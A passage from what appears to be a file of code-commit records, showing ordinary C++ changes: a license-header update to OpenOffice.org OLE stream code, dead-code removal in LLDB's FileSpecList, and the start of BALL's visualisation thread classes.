sal_Char* p = new sal_Char[ (USHORT) nLen1 ];\n        if( Read( p, nLen1 ) == (ULONG) nLen1 )\n        {\n            aUserName = nLen1 ? String( p, gsl_getSystemTextEncoding() ) : String();\n\/*          \/\/ Now we can read the CB format\n            INT32 nLen2 = 0;\n            *this >> nLen2;\n            if( nLen2 > 0 )\n            {\n                \/\/ get a string name\n                if( nLen2 > nLen1 )\n                    delete p, p = new char[ nLen2 ];\n                if( Read( p, nLen2 ) == (ULONG) nLen2 && nLen2 )\n                    nCbFormat = Exchange::RegisterFormatName( String( p ) );\n                else\n                    SetError( SVSTREAM_GENERALERROR );\n            }\n            else if( nLen2 == -1L )\n                \/\/ Windows clipboard format\n                *this >> nCbFormat;\n            else\n                \/\/ unknown identifier\n                SetError( SVSTREAM_GENERALERROR );\n*\/\n            nCbFormat = ReadClipboardFormat( *this );\n        }\n        else\n            SetError( SVSTREAM_GENERALERROR );\n        delete [] p;\n    }\n    return BOOL( GetError() == SVSTREAM_OK );\n}\n\nBOOL StgCompObjStream::Store()\n{\n    if( GetError() != SVSTREAM_OK )\n        return FALSE;\n    Seek( 0L );\n    ByteString aAsciiUserName( aUserName, RTL_TEXTENCODING_ASCII_US );\n    *this << (INT16) 1          \/\/ Version?\n              << (INT16) -2                     \/\/ 0xFFFE = Byte Order Indicator\n              << (INT32) 0x0A03         \/\/ Windows 3.10\n              << (INT32) -1L\n              << aClsId             \/\/ Class ID\n              << (INT32) (aAsciiUserName.Len() + 1)\n              << (const char *)aAsciiUserName.GetBuffer()\n              << (UINT8) 0;             \/\/ string terminator\n\/*  \/\/ determine the clipboard format string\n    String aCbFmt;\n    if( nCbFormat > FORMAT_GDIMETAFILE )\n    aCbFmt = Exchange::GetFormatName( nCbFormat );\n    if( aCbFmt.Len() )\n        *this << (INT32) aCbFmt.Len() + 1\n               << (const char*) aCbFmt\n               << (UINT8) 0;\n    else if( nCbFormat )\n         *this << (INT32) -1            \/\/ for Windows\n                << (INT32) nCbFormat;\n    else\n        *this << (INT32) 0;         \/\/ no clipboard format\n*\/\n    WriteClipboardFormat( *this, nCbFormat );\n    *this << (INT32) 0;             \/\/ terminator\n    Commit();\n    return BOOL( GetError() == SVSTREAM_OK );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ class StgOleStream \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nStgOleStream::StgOleStream( BaseStorage& rStg, BOOL bWr )\n            : StgInternalStream( rStg, String::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM( \"\\1Ole\" ) ), bWr )\n{\n    nFlags = 0;\n}\n\nBOOL StgOleStream::Load()\n{\n    nFlags = 0;\n    if( GetError() != SVSTREAM_OK )\n        return FALSE;\n    INT32 version = 0;\n    Seek( 0L );\n    *this >> version >> nFlags;\n    return BOOL( GetError() == SVSTREAM_OK );\n}\n\nBOOL StgOleStream::Store()\n{\n    if( GetError() != SVSTREAM_OK )\n        return FALSE;\n    Seek( 0L );\n    *this << (INT32) 0x02000001         \/\/ OLE version, format\n          << (INT32) nFlags             \/\/ Object flags\n          << (INT32) 0                  \/\/ Update Options\n          << (INT32) 0                  \/\/ reserved\n          << (INT32) 0;                 \/\/ Moniker 1\n    Commit();\n    return BOOL( GetError() == SVSTREAM_OK );\n}\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.10.64); FILE MERGED 2008\/03\/31 12:49:58 rt 1.10.64.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: stgole.cxx,v $\n * $Revision: 1.11 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sot.hxx\"\n\n#include \"rtl\/string.h\"\n#include \"rtl\/string.h\"\n#include \"stgole.hxx\"\n#include \"storinfo.hxx\"     \/\/ Read\/WriteClipboardFormat()\n\n#include <tools\/debug.hxx>\n#if defined(_MSC_VER) && (_MSC_VER>=1400)\n#pragma warning(disable: 4342)\n#endif\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ class StgInternalStream \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nStgInternalStream::StgInternalStream\n    ( BaseStorage& rStg, const String& rName, BOOL bWr )\n{\n    bIsWritable = TRUE;\n    USHORT nMode = bWr\n                 ? STREAM_WRITE | STREAM_SHARE_DENYALL\n                 : STREAM_READ | STREAM_SHARE_DENYWRITE | STREAM_NOCREATE;\n    pStrm = rStg.OpenStream( rName, nMode );\n\n    \/\/ set the error code right here in the stream\n    SetError( rStg.GetError() );\n    SetBufferSize( 1024 );\n}\n\nStgInternalStream::~StgInternalStream()\n{\n    delete pStrm;\n}\n\nULONG StgInternalStream::GetData( void* pData, ULONG nSize )\n{\n    if( pStrm )\n    {\n        nSize = pStrm->Read( pData, nSize );\n        SetError( pStrm->GetError() );\n        return nSize;\n    }\n    else\n        return 0;\n}\n\nULONG StgInternalStream::PutData( const void* pData, ULONG nSize )\n{\n    if( pStrm )\n    {\n        nSize = pStrm->Write( pData, nSize );\n        SetError( pStrm->GetError() );\n        return nSize;\n    }\n    else\n        return 0;\n}\n\nULONG StgInternalStream::SeekPos( ULONG nPos )\n{\n    return pStrm ? pStrm->Seek( nPos ) : 0;\n}\n\nvoid StgInternalStream::FlushData()\n{\n    if( pStrm )\n    {\n        pStrm->Flush();\n        SetError( pStrm->GetError() );\n    }\n}\n\nvoid StgInternalStream::Commit()\n{\n    Flush();\n    pStrm->Commit();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ class StgCompObjStream \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nStgCompObjStream::StgCompObjStream( BaseStorage& rStg, BOOL bWr )\n            : StgInternalStream( rStg, String::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM( \"\\1CompObj\" ) ), bWr )\n{\n    memset( &aClsId, 0, sizeof( ClsId ) );\n    nCbFormat = 0;\n}\n\nBOOL StgCompObjStream::Load()\n{\n    memset( &aClsId, 0, sizeof( ClsId ) );\n    nCbFormat = 0;\n    aUserName.Erase();\n    if( GetError() != SVSTREAM_OK )\n        return FALSE;\n    Seek( 8L );     \/\/ skip the first part\n    INT32 nMarker = 0;\n    *this >> nMarker;\n    if( nMarker == -1L )\n    {\n        *this >> aClsId;\n        INT32 nLen1 = 0;\n        *this >> nLen1;\n        \/\/ higher bits are ignored\n        nLen1 &= 0xFFFF;\n        sal_Char* p = new sal_Char[ (USHORT) nLen1 ];\n        if( Read( p, nLen1 ) == (ULONG) nLen1 )\n        {\n            aUserName = nLen1 ? String( p, gsl_getSystemTextEncoding() ) : String();\n\/*          \/\/ Now we can read the CB format\n            INT32 nLen2 = 0;\n            *this >> nLen2;\n            if( nLen2 > 0 )\n            {\n                \/\/ get a string name\n                if( nLen2 > nLen1 )\n                    delete p, p = new char[ nLen2 ];\n                if( Read( p, nLen2 ) == (ULONG) nLen2 && nLen2 )\n                    nCbFormat = Exchange::RegisterFormatName( String( p ) );\n                else\n                    SetError( SVSTREAM_GENERALERROR );\n            }\n            else if( nLen2 == -1L )\n                \/\/ Windows clipboard format\n                *this >> nCbFormat;\n            else\n                \/\/ unknown identifier\n                SetError( SVSTREAM_GENERALERROR );\n*\/\n            nCbFormat = ReadClipboardFormat( *this );\n        }\n        else\n            SetError( SVSTREAM_GENERALERROR );\n        delete [] p;\n    }\n    return BOOL( GetError() == SVSTREAM_OK );\n}\n\nBOOL StgCompObjStream::Store()\n{\n    if( GetError() != SVSTREAM_OK )\n        return FALSE;\n    Seek( 0L );\n    ByteString aAsciiUserName( aUserName, RTL_TEXTENCODING_ASCII_US );\n    *this << (INT16) 1          \/\/ Version?\n              << (INT16) -2                     \/\/ 0xFFFE = Byte Order Indicator\n              << (INT32) 0x0A03         \/\/ Windows 3.10\n              << (INT32) -1L\n              << aClsId             \/\/ Class ID\n              << (INT32) (aAsciiUserName.Len() + 1)\n              << (const char *)aAsciiUserName.GetBuffer()\n              << (UINT8) 0;             \/\/ string terminator\n\/*  \/\/ determine the clipboard format string\n    String aCbFmt;\n    if( nCbFormat > FORMAT_GDIMETAFILE )\n    aCbFmt = Exchange::GetFormatName( nCbFormat );\n    if( aCbFmt.Len() )\n        *this << (INT32) aCbFmt.Len() + 1\n               << (const char*) aCbFmt\n               << (UINT8) 0;\n    else if( nCbFormat )\n         *this << (INT32) -1            \/\/ for Windows\n                << (INT32) nCbFormat;\n    else\n        *this << (INT32) 0;         \/\/ no clipboard format\n*\/\n    WriteClipboardFormat( *this, nCbFormat );\n    *this << (INT32) 0;             \/\/ terminator\n    Commit();\n    return BOOL( GetError() == SVSTREAM_OK );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ class StgOleStream \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nStgOleStream::StgOleStream( BaseStorage& rStg, BOOL bWr )\n            : StgInternalStream( rStg, String::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM( \"\\1Ole\" ) ), bWr )\n{\n    nFlags = 0;\n}\n\nBOOL StgOleStream::Load()\n{\n    nFlags = 0;\n    if( GetError() != SVSTREAM_OK )\n        return FALSE;\n    INT32 version = 0;\n    Seek( 0L );\n    *this >> version >> nFlags;\n    return BOOL( GetError() == SVSTREAM_OK );\n}\n\nBOOL StgOleStream::Store()\n{\n    if( GetError() != SVSTREAM_OK )\n        return FALSE;\n    Seek( 0L );\n    *this << (INT32) 0x02000001         \/\/ OLE version, format\n          << (INT32) nFlags             \/\/ Object flags\n          << (INT32) 0                  \/\/ Update Options\n          << (INT32) 0                  \/\/ reserved\n          << (INT32) 0;                 \/\/ Moniker 1\n    Commit();\n    return BOOL( GetError() == SVSTREAM_OK );\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- FileSpecList.cpp ----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"lldb\/Core\/FileSpecList.h\"\n\n#include \"lldb\/Utility\/ConstString.h\" \/\/ for ConstString\n#include \"lldb\/Utility\/Stream.h\"\n\n#include <utility> \/\/ for find\n\n#include <stdint.h> \/\/ for UINT32_MAX\n\nusing namespace lldb_private;\nusing namespace std;\n\nFileSpecList::FileSpecList() : m_files() {}\n\nFileSpecList::FileSpecList(const FileSpecList &rhs) = default;\n\nFileSpecList::~FileSpecList() = default;\n\n\/\/------------------------------------------------------------------\n\/\/ Assignment operator\n\/\/------------------------------------------------------------------\nconst FileSpecList &FileSpecList::operator=(const FileSpecList &rhs) {\n  if (this != &rhs)\n    m_files = rhs.m_files;\n  return *this;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Append the \"file_spec\" to the end of the file spec list.\n\/\/------------------------------------------------------------------\nvoid FileSpecList::Append(const FileSpec &file_spec) {\n  m_files.push_back(file_spec);\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Only append the \"file_spec\" if this list doesn't already contain\n\/\/ it.\n\/\/\n\/\/ Returns true if \"file_spec\" was added, false if this list already\n\/\/ contained a copy of \"file_spec\".\n\/\/------------------------------------------------------------------\nbool FileSpecList::AppendIfUnique(const FileSpec &file_spec) {\n  collection::iterator end = m_files.end();\n  if (find(m_files.begin(), end, file_spec) == end) {\n    m_files.push_back(file_spec);\n    return true;\n  }\n  return false;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Clears the file list.\n\/\/------------------------------------------------------------------\nvoid FileSpecList::Clear() { m_files.clear(); }\n\n\/\/------------------------------------------------------------------\n\/\/ Dumps the file list to the supplied stream pointer \"s\".\n\/\/------------------------------------------------------------------\nvoid FileSpecList::Dump(Stream *s, const char *separator_cstr) const {\n  collection::const_iterator pos, end = m_files.end();\n  for (pos = m_files.begin(); pos != end; ++pos) {\n    pos->Dump(s);\n    if (separator_cstr && ((pos + 1) != end))\n      s->PutCString(separator_cstr);\n  }\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Find the index of the file in the file spec list that matches\n\/\/ \"file_spec\" starting \"start_idx\" entries into the file spec list.\n\/\/\n\/\/ Returns the valid index of the file that matches \"file_spec\" if\n\/\/ it is found, else std::numeric_limits<uint32_t>::max() is returned.\n\/\/------------------------------------------------------------------\nsize_t FileSpecList::FindFileIndex(size_t start_idx, const FileSpec &file_spec,\n                                   bool full, bool remove_dots) const {\n  const size_t num_files = m_files.size();\n\n  \/\/ When looking for files, we will compare only the filename if the\n  \/\/ FILE_SPEC argument is empty\n  bool compare_filename_only = file_spec.GetDirectory().IsEmpty();\n\n  for (size_t idx = start_idx; idx < num_files; ++idx) {\n    if (compare_filename_only) {\n      if (ConstString::Equals(\n              m_files[idx].GetFilename(), file_spec.GetFilename(),\n              file_spec.IsCaseSensitive() || m_files[idx].IsCaseSensitive()))\n        return idx;\n    } else {\n      if (FileSpec::Equal(m_files[idx], file_spec, full, remove_dots))\n        return idx;\n    }\n  }\n\n  \/\/ We didn't find the file, return an invalid index\n  return UINT32_MAX;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Returns the FileSpec object at index \"idx\". If \"idx\" is out of\n\/\/ range, then an empty FileSpec object will be returned.\n\/\/------------------------------------------------------------------\nconst FileSpec &FileSpecList::GetFileSpecAtIndex(size_t idx) const {\n  if (idx < m_files.size())\n    return m_files[idx];\n  static FileSpec g_empty_file_spec;\n  return g_empty_file_spec;\n}\n\nconst FileSpec *FileSpecList::GetFileSpecPointerAtIndex(size_t idx) const {\n  if (idx < m_files.size())\n    return &m_files[idx];\n  return nullptr;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Return the size in bytes that this object takes in memory. This\n\/\/ returns the size in bytes of this object's member variables and\n\/\/ any FileSpec objects its member variables contain, the result\n\/\/ doesn't not include the string values for the directories any\n\/\/ filenames as those are in shared string pools.\n\/\/------------------------------------------------------------------\nsize_t FileSpecList::MemorySize() const {\n  size_t mem_size = sizeof(FileSpecList);\n  collection::const_iterator pos, end = m_files.end();\n  for (pos = m_files.begin(); pos != end; ++pos) {\n    mem_size += pos->MemorySize();\n  }\n\n  return mem_size;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Return the number of files in the file spec list.\n\/\/------------------------------------------------------------------\nsize_t FileSpecList::GetSize() const { return m_files.size(); }\n\nsize_t FileSpecList::GetFilesMatchingPartialPath(const char *path,\n                                                 bool dir_okay,\n                                                 FileSpecList &matches) {\n#if 0 \/\/ FIXME: Just sketching...\n    matches.Clear();\n    using namespace llvm::sys::fs;\n    file_status stats;\n    if (status(path, stats, false))\n      return 0;\n    if (exists(stats)) {\n      if (is_symlink_file(stats)) {\n        \/\/ Shouldn't there be a method that realpath's a file?\n      }\n      if (is_regular_file(stats) || (is_directory(stats) && dir_okay)) {\n        matches.Append(FileSpec(path));\n        return 1;\n      } else if (is_directory(stats)) {\n        \/\/ Fill the match list with all the files in the directory:\n      } else {\n        return 0;\n      }\n    } else {\n        ConstString dir_name = path_spec.GetDirectory();\n        ConstString file_name = GetFilename();\n        if (dir_name == nullptr)\n        {\n            \/\/ Match files in the CWD.\n        }\n        else\n        {\n            \/\/ Match files in the given directory:\n        }\n    }\n#endif\n  return 0;\n}\n<commit_msg>[Core] Garbage collect dead code untouched in years. NFCI.<commit_after>\/\/===-- FileSpecList.cpp ----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"lldb\/Core\/FileSpecList.h\"\n\n#include \"lldb\/Utility\/ConstString.h\" \/\/ for ConstString\n#include \"lldb\/Utility\/Stream.h\"\n\n#include <utility> \/\/ for find\n\n#include <stdint.h> \/\/ for UINT32_MAX\n\nusing namespace lldb_private;\nusing namespace std;\n\nFileSpecList::FileSpecList() : m_files() {}\n\nFileSpecList::FileSpecList(const FileSpecList &rhs) = default;\n\nFileSpecList::~FileSpecList() = default;\n\n\/\/------------------------------------------------------------------\n\/\/ Assignment operator\n\/\/------------------------------------------------------------------\nconst FileSpecList &FileSpecList::operator=(const FileSpecList &rhs) {\n  if (this != &rhs)\n    m_files = rhs.m_files;\n  return *this;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Append the \"file_spec\" to the end of the file spec list.\n\/\/------------------------------------------------------------------\nvoid FileSpecList::Append(const FileSpec &file_spec) {\n  m_files.push_back(file_spec);\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Only append the \"file_spec\" if this list doesn't already contain\n\/\/ it.\n\/\/\n\/\/ Returns true if \"file_spec\" was added, false if this list already\n\/\/ contained a copy of \"file_spec\".\n\/\/------------------------------------------------------------------\nbool FileSpecList::AppendIfUnique(const FileSpec &file_spec) {\n  collection::iterator end = m_files.end();\n  if (find(m_files.begin(), end, file_spec) == end) {\n    m_files.push_back(file_spec);\n    return true;\n  }\n  return false;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Clears the file list.\n\/\/------------------------------------------------------------------\nvoid FileSpecList::Clear() { m_files.clear(); }\n\n\/\/------------------------------------------------------------------\n\/\/ Dumps the file list to the supplied stream pointer \"s\".\n\/\/------------------------------------------------------------------\nvoid FileSpecList::Dump(Stream *s, const char *separator_cstr) const {\n  collection::const_iterator pos, end = m_files.end();\n  for (pos = m_files.begin(); pos != end; ++pos) {\n    pos->Dump(s);\n    if (separator_cstr && ((pos + 1) != end))\n      s->PutCString(separator_cstr);\n  }\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Find the index of the file in the file spec list that matches\n\/\/ \"file_spec\" starting \"start_idx\" entries into the file spec list.\n\/\/\n\/\/ Returns the valid index of the file that matches \"file_spec\" if\n\/\/ it is found, else std::numeric_limits<uint32_t>::max() is returned.\n\/\/------------------------------------------------------------------\nsize_t FileSpecList::FindFileIndex(size_t start_idx, const FileSpec &file_spec,\n                                   bool full, bool remove_dots) const {\n  const size_t num_files = m_files.size();\n\n  \/\/ When looking for files, we will compare only the filename if the\n  \/\/ FILE_SPEC argument is empty\n  bool compare_filename_only = file_spec.GetDirectory().IsEmpty();\n\n  for (size_t idx = start_idx; idx < num_files; ++idx) {\n    if (compare_filename_only) {\n      if (ConstString::Equals(\n              m_files[idx].GetFilename(), file_spec.GetFilename(),\n              file_spec.IsCaseSensitive() || m_files[idx].IsCaseSensitive()))\n        return idx;\n    } else {\n      if (FileSpec::Equal(m_files[idx], file_spec, full, remove_dots))\n        return idx;\n    }\n  }\n\n  \/\/ We didn't find the file, return an invalid index\n  return UINT32_MAX;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Returns the FileSpec object at index \"idx\". If \"idx\" is out of\n\/\/ range, then an empty FileSpec object will be returned.\n\/\/------------------------------------------------------------------\nconst FileSpec &FileSpecList::GetFileSpecAtIndex(size_t idx) const {\n  if (idx < m_files.size())\n    return m_files[idx];\n  static FileSpec g_empty_file_spec;\n  return g_empty_file_spec;\n}\n\nconst FileSpec *FileSpecList::GetFileSpecPointerAtIndex(size_t idx) const {\n  if (idx < m_files.size())\n    return &m_files[idx];\n  return nullptr;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Return the size in bytes that this object takes in memory. This\n\/\/ returns the size in bytes of this object's member variables and\n\/\/ any FileSpec objects its member variables contain, the result\n\/\/ doesn't not include the string values for the directories any\n\/\/ filenames as those are in shared string pools.\n\/\/------------------------------------------------------------------\nsize_t FileSpecList::MemorySize() const {\n  size_t mem_size = sizeof(FileSpecList);\n  collection::const_iterator pos, end = m_files.end();\n  for (pos = m_files.begin(); pos != end; ++pos) {\n    mem_size += pos->MemorySize();\n  }\n\n  return mem_size;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Return the number of files in the file spec list.\n\/\/------------------------------------------------------------------\nsize_t FileSpecList::GetSize() const { return m_files.size(); }\n\nsize_t FileSpecList::GetFilesMatchingPartialPath(const char *path,\n                                                 bool dir_okay,\n                                                 FileSpecList &matches) {\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Do nothing, if no thread support\n\n#include <BALL\/VIEW\/KERNEL\/threads.h>\n#ifdef BALL_QT_HAS_THREADS\n\n#include <BALL\/VIEW\/MODELS\/modelProcessor.h>\n#include <BALL\/VIEW\/MODELS\/colorProcessor.h>\n#include <BALL\/VIEW\/KERNEL\/mainControl.h>\n#include <BALL\/MOLMEC\/COMMON\/forceField.h>\n#include <BALL\/MOLMEC\/MINIMIZATION\/energyMinimizer.h>\n#include <BALL\/MOLMEC\/MDSIMULATION\/molecularDynamics.h>\n#include <BALL\/VIEW\/WIDGETS\/scene.h>\n#include <BALL\/MOLMEC\/COMMON\/snapShotManager.h>\n\n#include <qapplication.h>\n\nnamespace BALL\n{\n\tnamespace VIEW\n\t{\n\n\t\tFetchHTMLThread::FetchHTMLThread()\n\t\t\tthrow()\n\t\t\t: QThread()\n\t\t{\n\t\t}\n\n\t\tvoid FetchHTMLThread::setURL(const String& url)\n\t\t\tthrow()\n\t\t{\n\t\t\turl_ = url;\n\t\t}\n\n\t\tconst String& FetchHTMLThread::getFilename() const\n\t\t\tthrow()\n\t\t{\n\t\t\treturn filename_;\n\t\t}\n\n\t\tvoid FetchHTMLThread::run()\n\t\t{\n\t\t\tif (url_ == \"\") return;\n\t\t\ttry\n\t\t\t{\n\t\t\t\tFile f(url_);\n\t\t\t\tFile::createTemporaryFilename(filename_);\n\t\t\t\tf.copyTo(filename_);\n\t\t\t}\n\t\t\tcatch(...)\n\t\t\t{}\n\t\t}\n\n\t\t\/\/ ==========================================\n\t\t\n\t\tUpdateRepresentationThread::UpdateRepresentationThread()\n\t\t\tthrow() \n\t\t\t: QThread(),\n\t\t\t\trep_(0)\n\t\t{\n\t\t}\n\n\t\tvoid UpdateRepresentationThread::run()\n\t\t{\n\t\t\tif (rep_ == 0) return;\n\t\t\trep_->update_(rebuild_);\n\t\t}\n\n\n\t\tSimulationThread::SimulationThread()\n\t\t\t: QThread(),\n\t\t\t\tmain_control_(0),\n\t\t\t\tdcd_file_(0),\n\t\t\t\tcomposite_(0),\n\t\t\t\tupdate_vis_running_(false)\n\t\t{\n\t\t}\n\n\t\tvoid SimulationThread::run()\n\t\t{\n\t\t\t\/\/ overloaded in derived classes\n\t\t}\n\n\t\tvoid SimulationThread::updateScene_()\n\t\t{\n\t\t\tif (main_control_->stopedSimulation()) \n\t\t\t{\n\t\t\t\tupdate_vis_running_ = false;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tupdate_vis_running_ = true;\n\t\t\t\/\/ notify MainControl to update all Representations for the Composite\n\t\t\tUpdateCompositeEvent* se = new UpdateCompositeEvent;\n\t\t\tse->setComposite(composite_);\n\t\t\tqApp->postEvent(main_control_, se);\n\t\t}\n\n\t\tvoid SimulationThread::output_(const String& string)\n\t\t{\n\t\t\tif (main_control_->stopedSimulation()) return;\n\n\t\t\tSimulationOutput* su = new SimulationOutput;\n\t\t\tsu->setMessage(string);\n\t\t\tqApp->postEvent(main_control_, su);  \/\/ Qt will delete it when done\n\t\t}\n\n\t\tvoid SimulationThread::finish_()\n\t\t{\n\t\t\tSimulationThreadFinished* su = new SimulationThreadFinished;\n\t\t\tqApp->postEvent(main_control_, su);  \/\/ Qt will delete it when done\n\t\t}\n\n\t\tvoid EnergyMinimizerThread::run()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (minimizer_ == 0 ||\n\t\t\t\t\t\tminimizer_->getForceField() == 0 || \n\t\t\t\t\t\tminimizer_->getForceField()->getSystem() == 0 ||\n\t\t\t\t\t\tmain_control_ == 0)\n\t\t\t\t{\n\t\t\t\t\tthrow Exception::NullPointer(__FILE__, __LINE__);\n\t\t\t\t}\n\t\t\t\tForceField& ff = *minimizer_->getForceField();\n\n\t\t\t\t\/\/ iterate until done and refresh the screen every \"steps\" iterations\n\t\t\t\twhile (!main_control_->stopedSimulation() &&\n\t\t\t\t\t\t\t\tminimizer_->getNumberOfIterations() < minimizer_->getMaxNumberOfIterations() &&\n\t\t\t\t\t\t\t !minimizer_->minimize(steps_between_updates_, true))\n\t\t\t\t{\n\t\t\t\t\tupdateScene_();\n\n\t\t\t\t\tQString message;\n\t\t\t\t\tmessage.sprintf(\"Iteration %d: energy = %f kJ\/mol, RMS gradient = %f kJ\/mol A\", \n\t\t\t\t\t\t\t\t\t\t\t\t\tminimizer_->getNumberOfIterations(), \n\t\t\t\t\t\t\t\t\t\t\t\t\tff.getEnergy(), ff.getRMSGradient());\n\t\t\t\t\toutput_(message.ascii());\n\n\t\t\t\t\t\/\/ prevent continuation of simulation, before update of visualisation has finished\n\t\t\t\t\twhile (update_vis_running_ && !main_control_->stopedSimulation()) msleep(10);\n\t\t\t\t}\n\n\t\t\t\toutput_(ff.getResults());\n\t\t\t\toutput_(\"final RMS gadient    : \" + String(ff.getRMSGradient()) + \" kJ\/(mol A)   after \" \n\t\t\t\t\t\t\t\t+ String(minimizer_->getNumberOfIterations()) + \" iterations\\n\");\n\t\t\t\tfinish_();\n\t\t\t}\n\t\t\tcatch(Exception::GeneralException e)\n\t\t\t{\n\t\t\t\tString txt = String(\"Calculation aborted because of throwed exception: \")\n\t\t\t\t\t\t\t\t\t\t\t+ __FILE__ + \" \" + __LINE__ + \" \" + e.getMessage();\n\t\t\t\toutput_(txt);\n\t\t\t\tfinish_();\n\t\t\t}\n\t\t}\n\n\t\tEnergyMinimizerThread::EnergyMinimizerThread()\n\t\t\t: SimulationThread(),\n\t\t\t\tminimizer_(0)\n\t\t{\n\t\t}\n\n\t\tEnergyMinimizerThread::~EnergyMinimizerThread()\n\t\t{\n\t\t\tif (minimizer_ != 0)\n\t\t\t{\n\t\t\t\tdelete minimizer_;\n\t\t\t}\n\t\t}\n\n\t\tvoid EnergyMinimizerThread::setEnergyMinimizer(EnergyMinimizer* minimizer) \n\t\t{ \n\t\t\tif (minimizer_ != 0)\n\t\t\t{\n\t\t\t\tdelete minimizer_;\n\t\t\t}\n\t\t\tminimizer_ = minimizer;\n\t\t}\n\n\t\t\/\/ =====================================================\n\t\tvoid MDSimulationThread::run()\n\t\t\tthrow(Exception::NullPointer)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (md_ == 0 ||\n\t\t\t\t\t\tmd_->getForceField() == 0 || \n\t\t\t\t\t\tmd_->getForceField()->getSystem() == 0 || \n\t\t\t\t\t\tmain_control_ == 0)\n\t\t\t\t{\n\t\t\t\t\tthrow Exception::NullPointer(__FILE__, __LINE__);\n\t\t\t\t}\n\t\t\t\tForceField& ff = *md_->getForceField();\n\n\t\t\t\tSnapShotManager manager(ff.getSystem(), &ff, dcd_file_);\n\t\t\t\tmanager.setFlushToDiskFrequency(10);\n\t\t\t\t\/\/ iterate until done and refresh the screen every \"steps\" iterations\n\t\t\t\t\n\t\t\t\twhile (md_->getNumberOfIterations() < steps_ &&\n\t\t\t\t\t\t\t !main_control_->stopedSimulation())\n\t\t\t\t{\n\t\t\t\t\t\/\/ prevent continuation of simulation, before update of visualisation has finished\n\t\t\t\t\twhile (update_vis_running_ && !main_control_->stopedSimulation()) msleep(10);\n\n\t\t\t\t\tmd_->simulateIterations(steps_between_updates_, true);\n\t\t\t\t\tupdateScene_();\n\n\t\t\t\t\tQString message;\n\t\t\t\t\tmessage.sprintf(\"Iteration %d: energy = %f kJ\/mol, RMS gradient = %f kJ\/mol A\", \n\t\t\t\t\t\t\t\t\t\t\t\t\tmd_->getNumberOfIterations(), ff.getEnergy(),\n\t\t\t\t\t\t\t\t\t\t\t\t\tff.getRMSGradient());\n\t\t\t\t\toutput_(message.ascii());\n\t\t\t\t\t\n\t\t\t\t\tif (save_images_) \n\t\t\t\t\t{\n\t\t\t\t\t\tScene* scene= (Scene*) Scene::getInstance(0);\n\t\t\t\t\t\tscene->exportPNG();\n\t\t\t\t\t}\n\n\t\t\t\t\tif (dcd_file_) manager.takeSnapShot();\n\t\t\t\t}\n\n\t\t\t\tif (dcd_file_) manager.flushToDisk();\n\n \t\t\t\toutput_(ff.getResults());\n\t\t\t\toutput_(\"final RMS gadient    : \" + String(ff.getRMSGradient()) + \" kJ\/(mol A)   after \" \n\t\t\t\t\t\t\t\t+ String(md_->getNumberOfIterations()) + \" iterations\\n\");\n\t\t\t\tfinish_();\n\t\t\t}\n\t\t\tcatch(Exception::GeneralException e)\n\t\t\t{\n\t\t\t\tString txt = 